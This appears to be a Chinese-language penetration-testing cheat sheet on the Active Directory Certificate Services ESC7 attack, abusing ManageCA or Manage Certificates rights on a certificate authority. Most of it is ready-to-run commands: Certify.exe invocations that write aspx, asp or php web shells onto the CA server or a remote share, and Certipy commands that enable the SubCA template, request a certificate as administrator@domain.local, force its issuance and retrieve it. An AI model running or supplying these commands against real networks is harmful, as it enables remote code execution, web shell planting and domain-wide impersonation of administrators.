Active Directory - 证书 ESC7
ESC7 - 证书颁发机构访问控制漏洞
利用方法
-
检测允许低权限用户拥有
ManageCA或Manage Certificates权限的 CA -
更改 CA 设置以启用易受攻击 CA 下所有模板的 SAN 扩展(ESC6)
-
使用所需的 SAN 请求证书
-
如果需要则批准请求,或禁用审批要求
利用方法 2:
从 ManageCA 到 ADCS 服务器 RCE 的替代利用方式:
# 获取当前 CDP 列表。用于查找可写的远程共享:
Certify.exe writefile /ca:SERVER\ca-name /readonly
# 将 aspx shell 写入本地 Web 目录:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx
# 将默认 asp shell 写入本地 Web 目录:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp
# 将 php shell 写入远程 Web 目录:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php
利用方法 3:
# 启用 SubCA 模板
certipy ca -ca 'DOMAIN-CA' -enable-template 'SubCA' -username user@domain.local -p password -dc-ip 10.10.10.10 -target-ip 10.10.10.11
# 基于 SubCA 模板请求证书
certipy req -ca 'DOMAIN-CA' -username user@domain.local -p password -dc-ip 10.10.10.10 -target-ip 10.10.10.11 -template SubCA -upn administrator@domain.local
# 颁发失败的证书请求
certipy ca -ca 'DOMAIN-CA' -issue-request 7 -username user@domain.local -p password -dc-ip 10.10.10.10 -target-ip 10.10.10.11
# 检索已颁发的证书
certipy req -ca 'DOMAIN-CA' -username user@domain.local -p password -dc-ip 10.10.10.10 -target-ip 10.10.10.11 -retrieve 7